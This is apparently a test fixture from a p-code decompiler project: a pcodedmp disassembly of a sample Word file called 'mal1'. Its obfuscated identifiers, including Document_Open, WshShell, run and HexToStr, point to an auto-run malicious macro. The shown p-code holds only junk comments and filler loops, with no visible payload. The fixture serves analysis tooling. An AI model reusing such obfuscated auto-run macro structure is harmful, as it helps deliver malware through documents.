https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/integration/macaroni/macaroni
--------------------------------------------------------------------------------
/tests/integration/mal1/mal1:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/integration/mal1/mal1
--------------------------------------------------------------------------------
/tests/integration/mal1/pcodedmp:
--------------------------------------------------------------------------------
1 | Processing file: mal1
2 | ===============================================================================
3 | dir stream: Macros/VBA/dir
4 | -------------------------------------------------------------------------------
5 | dir stream after decompression:
6 | 1756 bytes
7 | dir stream parsed:
8 | 00000000: PROJ_SYSKIND:
9 | 00000000 03 00 00 00 ....
10 |
11 | 0000000A: PROJ_LCID:
12 | 00000000 09 04 00 00 ....
13 |
14 | 00000014: PROJ_LCIDINVOKE:
15 | 00000000 09 04 00 00 ....
16 |
17 | 0000001E: PROJ_CODEPAGE:
18 | 00000000 E3 04 ..
19 |
20 | 00000026: PROJ_NAME:
21 | 00000000 50 72 6F 6A 65 63 74 Project
22 |
23 | 00000033: PROJ_DOCSTRING
24 | 00000039: PROJ_UNICODE_DOCSTRING
25 | 0000003F: PROJ_HELPFILE
26 | 00000045: PROJ_UNICODE_HELPFILE
27 | 0000004B: PROJ_HELPCONTEXT:
28 | 00000000 00 00 00 00 ....
29 |
30 | 00000055: PROJ_LIBFLAGS:
31 | 00000000 00 00 00 00 ....
32 |
33 | 0000005F: PROJ_VERSION:
34 | 00000000 E8 B6 3B 5F 0C 00 ..;_..
35 |
36 | 0000006B: PROJ_CONSTANTS
37 | 00000071: PROJ_UNICODE_CONSTANTS
38 | 00000077: PROJ_REFNAME_PROJ:
39 | 00000000 73 74 64 6F 6C 65 stdole
40 |
41 | 00000083: PROJ_UNICODE_REFNAME_PROJ:
42 | 00000000 73 00 74 00 64 00 6F 00 6C 00 65 00 s.t.d.o.l.e.
43 |
44 | 00000095: PROJ_LIBID_REGISTERED:
45 | 00000000 5E 00 00 00 2A 5C 47 7B 30 30 30 32 30 34 33 30 ^...*\G{00020430
46 | 00000010 2D 30 30 30 30 2D 30 30 30 30 2D 43 30 30 30 2D -0000-0000-C000-
47 | 00000020 30 30 30 30 30 30 30 30 30 30 34 36 7D 23 32 2E 000000000046}#2.
48 | 00000030 30 23 30 23 43 3A 5C 57 69 6E 64 6F 77 73 5C 53 0#0#C:\Windows\S
49 | 00000040 79 73 74 65 6D 33 32 5C 73 74 64 6F 6C 65 32 2E ystem32\stdole2.
50 | 00000050 74 6C 62 23 4F 4C 45 20 41 75 74 6F 6D 61 74 69 tlb#OLE Automati
51 | 00000060 6F 6E 00 00 00 00 00 00 on......
52 |
53 | 00000103: PROJ_REFNAME_PROJ:
54 | 00000000 4E 6F 72 6D 61 6C Normal
55 |
56 | 0000010F: PROJ_UNICODE_REFNAME_PROJ:
57 | 00000000 4E 00 6F 00 72 00 6D 00 61 00 6C 00 N.o.r.m.a.l.
58 |
59 | 00000121: PROJ_LIBID_PROJ:
60 | 00000000 09 00 00 00 2A 5C 43 4E 6F 72 6D 61 6C 09 00 00 ....*\CNormal...
61 | 00000010 00 2A 5C 43 4E 6F 72 6D 61 6C 88 8E E3 5E 01 00 .*\CNormal...^..
62 |
63 | 00000147: PROJ_REFNAME_PROJ:
64 | 00000000 4F 66 66 69 63 65 Office
65 |
66 | 00000153: PROJ_UNICODE_REFNAME_PROJ:
67 | 00000000 4F 00 66 00 66 00 69 00 63 00 65 00 O.f.f.i.c.e.
68 |
69 | 00000165: PROJ_LIBID_REGISTERED:
70 | 00000000 94 00 00 00 2A 5C 47 7B 32 44 46 38 44 30 34 43 ....*\G{2DF8D04C
71 | 00000010 2D 35 42 46 41 2D 31 30 31 42 2D 42 44 45 35 2D -5BFA-101B-BDE5-
72 | 00000020 30 30 41 41 30 30 34 34 44 45 35 32 7D 23 32 2E 00AA0044DE52}#2.
73 | 00000030 30 23 30 23 43 3A 5C 50 72 6F 67 72 61 6D 20 46 0#0#C:\Program F
74 | 00000040 69 6C 65 73 5C 43 6F 6D 6D 6F 6E 20 46 69 6C 65 iles\Common File
75 | 00000050 73 5C 4D 69 63 72 6F 73 6F 66 74 20 53 68 61 72 s\Microsoft Shar
76 | 00000060 65 64 5C 4F 46 46 49 43 45 31 36 5C 4D 53 4F 2E ed\OFFICE16\MSO.
77 | 00000070 44 4C 4C 23 4D 69 63 72 6F 73 6F 66 74 20 4F 66 DLL#Microsoft Of
78 | 00000080 66 69 63 65 20 31 36 2E 30 20 4F 62 6A 65 63 74 fice 16.0 Object
79 | 00000090 20 4C 69 62 72 61 72 79 00 00 00 00 00 00 Library......
80 |
81 | 00000209: PROJ_REFNAME_PROJ:
82 | 00000000 4D 53 46 6F 72 6D 73 MSForms
83 |
84 | 00000216: PROJ_UNICODE_REFNAME_PROJ:
85 | 00000000 4D 00 53 00 46 00 6F 00 72 00 6D 00 73 00 M.S.F.o.r.m.s.
86 |
87 | 0000022A: UNKNOWN:
88 | 00000000 2A 5C 47 7B 30 44 34 35 32 45 45 31 2D 45 30 38 *\G{0D452EE1-E08
89 | 00000010 46 2D 31 30 31 41 2D 38 35 32 45 2D 30 32 36 30 F-101A-852E-0260
90 | 00000020 38 43 34 44 30 42 42 34 7D 23 32 2E 30 23 30 23 8C4D0BB4}#2.0#0#
91 | 00000030 43 3A 5C 57 69 6E 64 6F 77 73 5C 73 79 73 74 65 C:\Windows\syste
92 | 00000040 6D 33 32 5C 46 4D 32 30 2E 44 4C 4C 23 4D 69 63 m32\FM20.DLL#Mic
93 | 00000050 72 6F 73 6F 66 74 20 46 6F 72 6D 73 20 32 2E 30 rosoft Forms 2.0
94 | 00000060 20 4F 62 6A 65 63 74 20 4C 69 62 72 61 72 79 Object Library
95 |
96 | 0000029F: PROJ_LIBID_TWIDDLED:
97 | 00000000 31 00 00 00 2A 5C 47 7B 30 30 30 30 30 30 30 30 1...*\G{00000000
98 | 00000010 2D 30 30 30 30 2D 30 30 30 30 2D 30 30 30 30 2D -0000-0000-0000-
99 | 00000020 30 30 30 30 30 30 30 30 30 30 30 30 7D 23 30 2E 000000000000}#0.
100 | 00000030 30 23 30 23 23 00 00 00 00 00 00 0#0##......
101 |
102 | 000002E0: PROJ_REFNAME_PROJ:
103 | 00000000 4D 53 46 6F 72 6D 73 MSForms
104 |
105 | 000002ED: PROJ_UNICODE_REFNAME_PROJ:
106 | 00000000 4D 00 53 00 46 00 6F 00 72 00 6D 00 73 00 M.S.F.o.r.m.s.
107 |
108 | 00000301: PROJ_LIBID_EXTENDED:
109 | 00000000 87 00 00 00 2A 5C 47 7B 35 43 44 30 39 30 32 33 ....*\G{5CD09023
110 | 00000010 2D 34 44 45 33 2D 34 38 42 46 2D 42 32 46 37 2D -4DE3-48BF-B2F7-
111 | 00000020 39 37 35 36 44 36 39 43 44 32 44 32 7D 23 32 2E 9756D69CD2D2}#2.
112 | 00000030 30 23 30 23 43 3A 5C 55 73 65 72 73 5C 41 53 55 0#0#C:\Users\ASU
113 | 00000040 53 52 4F 7E 31 5C 41 70 70 44 61 74 61 5C 4C 6F SRO~1\AppData\Lo
114 | 00000050 63 61 6C 5C 54 65 6D 70 5C 56 42 45 5C 4D 53 46 cal\Temp\VBE\MSF
115 | 00000060 6F 72 6D 73 2E 65 78 64 23 4D 69 63 72 6F 73 6F orms.exd#Microso
116 | 00000070 66 74 20 46 6F 72 6D 73 20 32 2E 30 20 4F 62 6A ft Forms 2.0 Obj
117 | 00000080 65 63 74 20 4C 69 62 72 61 72 79 00 00 00 00 00 ect Library.....
118 | 00000090 00 E1 2E 45 0D 8F E0 1A 10 85 2E 02 60 8C 4D 0B ...E........`.M.
119 | 000000A0 B4 01 00 00 00 .....
120 |
121 | 000003AC: PROJ_REFNAME_PROJ:
122 | 00000000 49 57 73 68 52 75 6E 74 69 6D 65 4C 69 62 72 61 IWshRuntimeLibra
123 | 00000010 72 79 ry
124 |
125 | 000003C4: PROJ_UNICODE_REFNAME_PROJ:
126 | 00000000 49 00 57 00 73 00 68 00 52 00 75 00 6E 00 74 00 I.W.s.h.R.u.n.t.
127 | 00000010 69 00 6D 00 65 00 4C 00 69 00 62 00 72 00 61 00 i.m.e.L.i.b.r.a.
128 | 00000020 72 00 79 00 r.y.
129 |
130 | 000003EE: PROJ_LIBID_REGISTERED:
131 | 00000000 6E 00 00 00 2A 5C 47 7B 46 39 33 35 44 43 32 30 n...*\G{F935DC20
132 | 00000010 2D 31 43 46 30 2D 31 31 44 30 2D 41 44 42 39 2D -1CF0-11D0-ADB9-
133 | 00000020 30 30 43 30 34 46 44 35 38 41 30 42 7D 23 31 2E 00C04FD58A0B}#1.
134 | 00000030 30 23 30 23 43 3A 5C 57 69 6E 64 6F 77 73 5C 73 0#0#C:\Windows\s
135 | 00000040 79 73 74 65 6D 33 32 5C 77 73 68 6F 6D 2E 6F 63 ystem32\wshom.oc
136 | 00000050 78 23 57 69 6E 64 6F 77 73 20 53 63 72 69 70 74 x#Windows Script
137 | 00000060 20 48 6F 73 74 20 4F 62 6A 65 63 74 20 4D 6F 64 Host Object Mod
138 | 00000070 65 6C 00 00 00 00 00 00 el......
139 |
140 | 0000046C: PROJ_MODULECOUNT:
141 | 00000000 05 00 ..
142 |
143 | 00000474: PROJ_COOKIE:
144 | 00000000 7A 5E z^
145 |
146 | 0000047C: MOD_NAME:
147 | 00000000 54 68 69 73 44 6F 63 75 6D 65 6E 74 ThisDocument
148 |
149 | 0000048E: MOD_UNICODE_NAME:
150 | 00000000 54 00 68 00 69 00 73 00 44 00 6F 00 63 00 75 00 T.h.i.s.D.o.c.u.
151 | 00000010 6D 00 65 00 6E 00 74 00 m.e.n.t.
152 |
153 | 000004AC: MOD_STREAM:
154 | 00000000 54 68 69 73 44 6F 63 75 6D 65 6E 74 ThisDocument
155 |
156 | 000004BE: MOD_UNICODESTREAM:
157 | 00000000 54 00 68 00 69 00 73 00 44 00 6F 00 63 00 75 00 T.h.i.s.D.o.c.u.
158 | 00000010 6D 00 65 00 6E 00 74 00 m.e.n.t.
159 |
160 | 000004DC: MOD_DOCSTRING
161 | 000004E2: MOD_UNICODE_DOCSTRING
162 | 000004E8: MOD_TEXTOFFSET:
163 | 00000000 E6 07 00 00 ....
164 |
165 | 000004F2: MOD_HELPCONTEXT:
166 | 00000000 00 00 00 00 ....
167 |
168 | 000004FC: MOD_COOKIETYPE:
169 | 00000000 35 D2 5.
170 |
171 | 00000504: MOD_FBASMOD_Classes
172 | 0000050A: MOD_END
173 | 00000510: MOD_NAME:
174 | 00000000 61 57 49 39 79 aWI9y
175 |
176 | 0000051B: MOD_UNICODE_NAME:
177 | 00000000 61 00 57 00 49 00 39 00 79 00 a.W.I.9.y.
178 |
179 | 0000052B: MOD_STREAM:
180 | 00000000 61 57 49 39 79 aWI9y
181 |
182 | 00000536: MOD_UNICODESTREAM:
183 | 00000000 61 00 57 00 49 00 39 00 79 00 a.W.I.9.y.
184 |
185 | 00000546: MOD_DOCSTRING
186 | 0000054C: MOD_UNICODE_DOCSTRING
187 | 00000552: MOD_TEXTOFFSET:
188 | 00000000 2F 09 00 00 /...
189 |
190 | 0000055C: MOD_HELPCONTEXT:
191 | 00000000 00 00 00 00 ....
192 |
193 | 00000566: MOD_COOKIETYPE:
194 | 00000000 C5 DF ..
195 |
196 | 0000056E: MOD_FBASMOD_StdMods
197 | 00000574: MOD_END
198 | 0000057A: MOD_NAME:
199 | 00000000 61 79 37 4D 30 6E 49 ay7M0nI
200 |
201 | 00000587: MOD_UNICODE_NAME:
202 | 00000000 61 00 79 00 37 00 4D 00 30 00 6E 00 49 00 a.y.7.M.0.n.I.
203 |
204 | 0000059B: MOD_STREAM:
205 | 00000000 61 79 37 4D 30 6E 49 ay7M0nI
206 |
207 | 000005A8: MOD_UNICODESTREAM:
208 | 00000000 61 00 79 00 37 00 4D 00 30 00 6E 00 49 00 a.y.7.M.0.n.I.
209 |
210 | 000005BC: MOD_DOCSTRING
211 | 000005C2: MOD_UNICODE_DOCSTRING
212 | 000005C8: MOD_TEXTOFFSET:
213 | 00000000 DB 15 00 00 ....
214 |
215 | 000005D2: MOD_HELPCONTEXT:
216 | 00000000 00 00 00 00 ....
217 |
218 | 000005DC: MOD_COOKIETYPE:
219 | 00000000 9B CA ..
220 |
221 | 000005E4: MOD_FBASMOD_StdMods
222 | 000005EA: MOD_END
223 | 000005F0: MOD_NAME:
224 | 00000000 61 53 54 69 35 4E 68 aSTi5Nh
225 |
226 | 000005FD: MOD_UNICODE_NAME:
227 | 00000000 61 00 53 00 54 00 69 00 35 00 4E 00 68 00 a.S.T.i.5.N.h.
228 |
229 | 00000611: MOD_STREAM:
230 | 00000000 61 53 54 69 35 4E 68 aSTi5Nh
231 |
232 | 0000061E: MOD_UNICODESTREAM:
233 | 00000000 61 00 53 00 54 00 69 00 35 00 4E 00 68 00 a.S.T.i.5.N.h.
234 |
235 | 00000632: MOD_DOCSTRING
236 | 00000638: MOD_UNICODE_DOCSTRING
237 | 0000063E: MOD_TEXTOFFSET:
238 | 00000000 91 27 00 00 .'..
239 |
240 | 00000648: MOD_HELPCONTEXT:
241 | 00000000 00 00 00 00 ....
242 |
243 | 00000652: MOD_COOKIETYPE:
244 | 00000000 B1 EA ..
245 |
246 | 0000065A: MOD_FBASMOD_StdMods
247 | 00000660: MOD_END
248 | 00000666: MOD_NAME:
249 | 00000000 61 6E 55 58 34 anUX4
250 |
251 | 00000671: MOD_UNICODE_NAME:
252 | 00000000 61 00 6E 00 55 00 58 00 34 00 a.n.U.X.4.
253 |
254 | 00000681: MOD_STREAM:
255 | 00000000 61 6E 55 58 34 anUX4
256 |
257 | 0000068C: MOD_UNICODESTREAM:
258 | 00000000 61 00 6E 00 55 00 58 00 34 00 a.n.U.X.4.
259 |
260 | 0000069C: MOD_DOCSTRING
261 | 000006A2: MOD_UNICODE_DOCSTRING
262 | 000006A8: MOD_TEXTOFFSET:
263 | 00000000 2F 08 00 00 /...
264 |
265 | 000006B2: MOD_HELPCONTEXT:
266 | 00000000 00 00 00 00 ....
267 |
268 | 000006BC: MOD_COOKIETYPE:
269 | 00000000 51 BA Q.
270 |
271 | 000006C4: MOD_FBASMOD_Classes
272 | 000006CA: MOD_FBASMOD_Private
273 | 000006D0: MOD_END
274 | 000006D6: PROJ_EOF
275 | -------------------------------------------------------------------------------
276 | _VBA_PROJECT stream:
277 | 6459 bytes
278 | Identifiers:
279 |
280 | 0000: Word
281 | 0001: VBA
282 | 0002: Win16
283 | 0003: Win32
284 | 0004: Win64
285 | 0005: Mac
286 | 0006: VBA6
287 | 0007: VBA7
288 | 0008: Project1
289 | 0009: stdole
290 | 000A: Project
291 | 000B: ThisDocument
292 | 000C: _Evaluate
293 | 000D: Normal
294 | 000E: Office
295 | 000F: Document
296 | 0010: Module1
297 | 0011: aWI9y
298 | 0012: aG2RE
299 | 0013: aH3r4a5
300 | 0014: a7fBn
301 | 0015: Hex
302 | 0016: auyeoOEL
303 | 0017: azidx0NqC
304 | 0018: aWg3M5v
305 | 0019: aeoOT0Gh
306 | 001A: aga8Eq
307 | 001B: amgJzF
308 | 001C: ab3kaeN7I
309 | 001D: IsNull
310 | 001E: aq6RX4MU5
311 | 001F: a4XbQ
312 | 0020: alWXi
313 | 0021: aomJe
314 | 0022: a56hylAp
315 | 0023: a5fQJ
316 | 0024: aAUEH
317 | 0025: ay7M0nI
318 | 0026: aSbLM
319 | 0027: aSWdjB
320 | 0028: a6EcBbI
321 | 0029: a9Ahm
322 | 002A: aghV48L5d
323 | 002B: aoT0lbgU
324 | 002C: atEXd
325 | 002D: Exp
326 | 002E: ao9alGKgP
327 | 002F: aGFh46Qra
328 | 0030: awHIaNTRd
329 | 0031: aZQG4
330 | 0032: akhf1
331 | 0033: a5bTI4a
332 | 0034: a0PURS4wD
333 | 0035: aEtViTKaz
334 | 0036: aqPVoX
335 | 0037: aLcXnIFs
336 | 0038: aiJeY6w
337 | 0039: aqaMj
338 | 003A: akGjxP
339 | 003B: aQYR48E
340 | 003C: aq6hRMO
341 | 003D: aE7YPRHoU
342 | 003E: aJzQTjr
343 | 003F: a1TIEMYR
344 | 0040: aBmLaYhPH
345 | 0041: aGtzeA4YP
346 | 0042: aCAn4M
347 | 0043: aIwRnD
348 | 0044: aymPMBI
349 | 0045: ayTmvzo
350 | 0046: aZX5c
351 | 0047: aAB9zw
352 | 0048: aKIfHa
353 | 0049: ae8Er
354 | 004A: aHWAg
355 | 004B: axmdRkLDh
356 | 004C: aTcA84p6
357 | 004D: azwPN
358 | 004E: a783MhiRz
359 | 004F: aNYIum
360 | 0050: aK5rL
361 | 0051: an6T3
362 | 0052: auSLK8Q
363 | 0053: a4B5zO27N
364 | 0054: a2iHw4
365 | 0055: a57uHYtv
366 | 0056: aFWqPNo
367 | 0057: a0n1U
368 | 0058: aX6myF
369 | 0059: asxyt
370 | 005A: aYRDrjao
371 | 005B: aZ8ljGHVk
372 | 005C: aDyvj
373 | 005D: HexToStr
374 | 005E: strTemp
375 | 005F: strReturn
376 | 0060: I
377 | 0061: Chr
378 | 0062: Val
379 | 0063: aSTi5Nh
380 | 0064: main
381 | 0065: a7RXk
382 | 0066: aM3VlaA
383 | 0067: aRjGI
384 | 0068: abAZB8Da
385 | 0069: aUKcAo5
386 | 006A: aCO1cl3
387 | 006B: aXA8Fn
388 | 006C: a49yF
389 | 006D: aVHDZ3ly
390 | 006E: aCHaqGEA
391 | 006F: a2cjT4V
392 | 0070: aXHupn
393 | 0071: a5AofpPq
394 | 0072: aZV4xNntf
395 | 0073: ajdxtRHg
396 | 0074: ajUza
397 | 0075: a2Wub
398 | 0076: aBvx7Yl
399 | 0077: ajCvZ1P
400 | 0078: auSgxa
401 | 0079: aa8gG
402 | 007A: anUX4
403 | 007B: ajNXBYQbC
404 | 007C: asHIiBe
405 | 007D: aYP80
406 | 007E: aak49q
407 | 007F: aPDpuaNnT
408 | 0080: aFyRb2jrI
409 | 0081: aZHhk
410 | 0082: a7HNko
411 | 0083: aklcJ
412 | 0084: a0hgosvX
413 | 0085: aI37lHtEo
414 | 0086: ayUBnLK01
415 | 0087: aqKG59
416 | 0088: aiychMbk
417 | 0089: ac5KDsuI
418 | 008A: a5umIJ
419 | 008B: aXSy5JdT
420 | 008C: aaCOAv5w
421 | 008D: awM7aZTfU
422 | 008E: a5GkV0
423 | 008F: aVnoy
424 | 0090: aIeD7JZ
425 | 0091: ar2uYgQ
426 | 0092: a5MCIArv
427 | 0093: auDIb6AR
428 | 0094: aYeEo6OH
429 | 0095: avAdxhyMl
430 | 0096: aG3lmX7
431 | 0097: aq0WXap2
432 | 0098: aZHcO
433 | 0099: axfMQ
434 | 009A: ajB1f
435 | 009B: aNtFJ
436 | 009C: aYPWZ
437 | 009D: a3HIXv
438 | 009E: a3Pdj
439 | 009F: aQ1HY
440 | 00A0: a2BQk
441 | 00A1: atJOgs8
442 | 00A2: anQP0Yq
443 | 00A3: aFU5J8ke
444 | 00A4: a1Bdl
445 | 00A5: aNBxYklfF
446 | 00A6: aDVKdBm
447 | 00A7: aKeqcY4l
448 | 00A8: arkaw
449 | 00A9: aDrW6N
450 | 00AA: a43g0xT
451 | 00AB: WshShell
452 | 00AC: axy2Gkg1
453 | 00AD: aQV2hOrpg
454 | 00AE: aJXtM9L
455 | 00AF: aYbF96K
456 | 00B0: alyNuKsz
457 | 00B1: ah9qAeUc5
458 | 00B2: ayiZWSq
459 | 00B3: aMhgD
460 | 00B4: aA3GNx
461 | 00B5: aHF3TqA
462 | 00B6: aC2nPv
463 | 00B7: apBMRSOcI
464 | 00B8: aNAZHn
465 | 00B9: aq2In
466 | 00BA: aZx38
467 | 00BB: run
468 | 00BC: aJqH7k
469 | 00BD: aXERc
470 | 00BE: aIOzbwd1a
471 | 00BF: aBJVZ1
472 | 00C0: aKfmvc34
473 | 00C1: aIaRFTmJw
474 | 00C2: ajvsXAlok
475 | 00C3: ajEOWNtYh
476 | 00C4: aq0PJEzo4
477 | 00C5: a6qAc
478 | 00C6: Document_Open
479 | 00C7: aQX9W
480 | 00C8: adFoxSipN
481 | 00C9: aBsQc4zXq
482 | 00CA: arSHcDzvF
483 | 00CB: aCXBqNTI
484 | 00CC: a2E5tFU1
485 | 00CD: aStJ38zD
486 | 00CE: aMTBeQ5s
487 | 00CF: atKzH
488 | 00D0: UserForm1
489 | 00D1: MSForms
490 | 00D2: IWshRuntimeLibrary
491 | 00D3: UserForm
492 | 00D4: UserForm_Initialize
493 | 00D5: aobPr3gd
494 | 00D6: aQhnMuRf0
495 | 00D7: a83FtC
496 | 00D8: asWApjoTr
497 | 00D9: aMVH7
498 | 00DA: ahXCm9
499 | 00DB: asVWN
500 | 00DC: test
501 | 00DD: aytsj
502 | 00DE: alxGqywJ8
503 |
504 | _VBA_PROJECT parsing done.
505 | -------------------------------------------------------------------------------
506 | Module streams:
507 | Macros/VBA/ThisDocument - 2639 bytes
508 | Line #0:
509 | FuncDefn (Sub a6qAc())
510 | Line #1:
511 | Dim
512 | VarDefn Document_Open
513 | Line #2:
514 | LitDI2 0x0006
515 | ArgsLd Exp 0x0001
516 | St Document_Open
517 | Line #3:
518 | QuoteRem 0x0000 0x0025 " Presentations fetid forswear sawmill"
519 | Line #4:
520 | LitStr 0x0000 ""
521 | St aQX9W
522 | Line #5:
523 | Ld aQX9W
524 | ArgsLd IsNull 0x0001
525 | St adFoxSipN
526 | Line #6:
527 | QuoteRem 0x0000 0x0027 " Dozen equally didactic unattended sans"
528 | Line #7:
529 | QuoteRem 0x0000 0x0000 ""
530 | Line #8:
531 | Dim
532 | VarDefn aBsQc4zXq
533 | Line #9:
534 | LitDI2 0x0058
535 | ArgsLd Hex 0x0001
536 | St aBsQc4zXq
537 | Line #10:
538 | Dim
539 | VarDefn arSHcDzvF
540 | Line #11:
541 | StartForVariable
542 | Ld arSHcDzvF
543 | EndForVariable
544 | LitDI2 0x003D
545 | LitDI2 0x0040
546 | For
547 | Line #12:
548 | Debug
549 | PrintObj
550 | Ld arSHcDzvF
551 | ArgsLd Error 0x0001
552 | PrintItemNL
553 | Line #13:
554 | StartForVariable
555 | Ld arSHcDzvF
556 | EndForVariable
557 | NextVar
558 | Line #14:
559 | QuoteRem 0x0000 0x0014 " Cap schism crockery"
560 | Line #15:
561 | Dim
562 | VarDefn aCXBqNTI
563 | Line #16:
564 | LitDI2 0x0002
565 | FnFix
566 | St aCXBqNTI
567 | Line #17:
568 | Dim
569 | VarDefn a2E5tFU1
570 | Line #18:
571 | StartForVariable
572 | Ld a2E5tFU1
573 | EndForVariable
574 | LitDI2 0x003D
575 | LitDI2 0x0040
576 | For
577 | Line #19:
578 | Debug
579 | PrintObj
580 | Ld a2E5tFU1
581 | ArgsLd Error 0x0001
582 | PrintItemNL
583 | Line #20:
584 | StartForVariable
585 | Ld a2E5tFU1
586 | EndForVariable
587 | NextVar
588 | Line #21:
589 | QuoteRem 0x0000 0x0036 " Windlass hurries well-founded fairy-tale dessert ween"
590 | Line #22:
591 | LitStr 0x0000 ""
592 | St aStJ38zD
593 | Line #23:
594 | Ld aStJ38zD
595 | ArgsLd IsNull 0x0001
596 | St aMTBeQ5s
597 | Line #24:
598 | QuoteRem 0x0000 0x0023 " Retired reynard shareholders tenet"
599 | Line #25:
600 | ArgsCall main 0x0000
601 | Line #26:
602 | EndSub
603 | Macros/VBA/aWI9y - 3016 bytes
604 | Line #0:
605 | FuncDefn (Function aG2RE(aH3r4a5 As Long) As String)
606 | Line #1:
607 | Dim
608 | VarDefn a7fBn
609 | Line #2:
610 | LitDI2 0x00EF
611 | ArgsLd Hex 0x0001
612 | St a7fBn
613 | Line #3:
614 | QuoteRem 0x0000 0x0009 " Beverage"
615 | Line #4:
616 | Dim
617 | VarDefn auyeoOEL
618 | Line #5:
619 | LitDI2 0x000B
620 | FnFix
621 | St auyeoOEL
622 | Line #6:
623 | Dim
624 | VarDefn azidx0NqC
625 | Line #7:
626 | LitDI2 0x009B
627 | ArgsLd Hex 0x0001
628 | St azidx0NqC
629 | Line #8:
630 | Dim
631 | VarDefn aWg3M5v
632 | Line #9:
633 | StartForVariable
634 | Ld aWg3M5v
635 | EndForVariable
636 | LitDI2 0x003D
637 | LitDI2 0x0040
638 | For
639 | Line #10:
640 | Debug
641 | PrintObj
642 | Ld aWg3M5v
643 | ArgsLd Error 0x0001
644 | PrintItemNL
645 | Line #11:
646 | StartForVariable
647 | Ld aWg3M5v
648 | EndForVariable
649 | NextVar
650 | Line #12:
651 | QuoteRem 0x0000 0x0014 " Ursula eighty-three"
652 | Line #13:
653 | Dim
654 | VarDefn aeoOT0Gh
655 | Line #14:
656 | LitDI2 0x00F8
657 | ArgsLd Hex 0x0001
658 | St aeoOT0Gh
659 | Line #15:
660 | QuoteRem 0x0000 0x0012 " Chubby narcissist"
661 | Line #16:
662 | Dim
663 | VarDefn aga8Eq
664 | Line #17:
665 | LitDI2 0x0006
666 | UMi
667 | FnAbs
668 | St aga8Eq
669 | Line #18:
670 | QuoteRem 0x0000 0x001E " Salve graduate dutch humanity"
671 | Line #19:
672 | LitStr 0x0000 ""
673 | St amgJzF
674 | Line #20:
675 | Ld amgJzF
676 | ArgsLd IsNull 0x0001
677 | St ab3kaeN7I
678 | Line #21:
679 | Dim
680 | VarDefn aq6RX4MU5
681 | Line #22:
682 | StartForVariable
683 | Ld aq6RX4MU5
684 | EndForVariable
685 | LitDI2 0x003D
686 | LitDI2 0x0040
687 | For
688 | Line #23:
689 | Debug
690 | PrintObj
691 | Ld aq6RX4MU5
692 | ArgsLd Error 0x0001
693 | PrintItemNL
694 | Line #24:
695 | StartForVariable
696 | Ld aq6RX4MU5
697 | EndForVariable
698 | NextVar
699 | Line #25:
700 | LitStr 0x0000 ""
701 | St a4XbQ
702 | Line #26:
703 | Ld a4XbQ
704 | ArgsLd IsNull 0x0001
705 | St alWXi
706 | Line #27:
707 | QuoteRem 0x0000 0x000E " Taxi game nut"
708 | Line #28:
709 | Dim
710 | VarDefn aomJe
711 | Line #29:
712 | LitDI2 0x000B
713 | FnFix
714 | St aomJe
715 | Line #30:
716 | QuoteRem 0x0000 0x001E " Bookstore accommodate jh kirk"
717 | Line #31:
718 | Dim
719 | VarDefn a56hylAp
720 | Line #32:
721 | StartForVariable
722 | Ld a56hylAp
723 | EndForVariable
724 | LitDI2 0x003D
725 | LitDI2 0x0040
726 | For
727 | Line #33:
728 | Debug
729 | PrintObj
730 | Ld a56hylAp
731 | ArgsLd Error 0x0001
732 | PrintItemNL
733 | Line #34:
734 | StartForVariable
735 | Ld a56hylAp
736 | EndForVariable
737 | NextVar
738 | Line #35:
739 | QuoteRem 0x0000 0x0038 " Diamonds subjunctive statements plentifully plumber sam"
740 | Line #36:
741 | Dim
742 | VarDefn a5fQJ
743 | Line #37:
744 | LitDI2 0x000F
745 | FnFix
746 | St a5fQJ
747 | Line #38:
748 | QuoteRem 0x0000 0x0017 " Nimble hi ada spectrum"
749 | Line #39:
750 | Dim
751 | VarDefn aAUEH
752 | Line #40:
753 | StartForVariable
754 | Ld aAUEH
755 | EndForVariable
756 | LitDI2 0x003D
757 | LitDI2 0x0040
758 | For
759 | Line #41:
760 | Debug
761 | PrintObj
762 | Ld aAUEH
763 | ArgsLd Error 0x0001
764 | PrintItemNL
765 | Line #42:
766 | StartForVariable
767 | Ld aAUEH
768 | EndForVariable
769 | NextVar
770 | Line #43:
771 | QuoteRem 0x0000 0x0010 " Mi disappointed"
772 | Line #44:
773 | EndFunc
774 | Macros/VBA/ay7M0nI - 7362 bytes
775 | Line #0:
776 | FuncDefn (Function aSbLM(aSWdjB As String) As String)
777 | Line #1:
778 | Dim
779 | VarDefn a6EcBbI
780 | Line #2:
781 | LitDI2 0x00D3
782 | ArgsLd Hex 0x0001
783 | St a6EcBbI
784 | Line #3:
785 | QuoteRem 0x0000 0x0015 " Excited cafe geology"
786 | Line #4:
787 | Dim
788 | VarDefn a9Ahm
789 | Line #5:
790 | StartForVariable
791 | Ld a9Ahm
792 | EndForVariable
793 | LitDI2 0x003D
794 | LitDI2 0x0040
795 | For
796 | Line #6:
797 | Debug
798 | PrintObj
799 | Ld a9Ahm
800 | ArgsLd Error 0x0001
801 | PrintItemNL
802 | Line #7:
803 | StartForVariable
804 | Ld a9Ahm
805 | EndForVariable
806 | NextVar
807 | Line #8:
808 | LitStr 0x0000 ""
809 | St aghV48L5d
810 | Line #9:
811 | Ld aghV48L5d
812 | ArgsLd IsNull 0x0001
813 | St aoT0lbgU
814 | Line #10:
815 | QuoteRem 0x0000 0x0022 " Hebrew warnings dissuade viennese"
816 | Line #11:
817 | Dim
818 | VarDefn atEXd
819 | Line #12:
820 | LitDI2 0x000A
821 | ArgsLd Exp 0x0001
822 | St atEXd
823 | Line #13:
824 | Dim
825 | VarDefn ao9alGKgP
826 | Line #14:
827 | LitDI2 0x000C
828 | UMi
829 | FnAbs
830 | St ao9alGKgP
831 | Line #15:
832 | LitStr 0x0000 ""
833 | St aGFh46Qra
834 | Line #16:
835 | Ld aGFh46Qra
836 | ArgsLd IsNull 0x0001
837 | St awHIaNTRd
838 | Line #17:
839 | QuoteRem 0x0000 0x0021 " Versatile labels cruising dozens"
840 | Line #18:
841 | Dim
842 | VarDefn aZQG4
843 | Line #19:
844 | LitDI2 0x0005
845 | ArgsLd Hex 0x0001
846 | St aZQG4
847 | Line #20:
848 | QuoteRem 0x0000 0x0025 " Holes bryan retracted skirt curve mx"
849 | Line #21:
850 | Dim
851 | VarDefn akhf1
852 | Line #22:
853 | StartForVariable
854 | Ld akhf1
855 | EndForVariable
856 | LitDI2 0x003D
857 | LitDI2 0x0040
858 | For
859 | Line #23:
860 | Debug
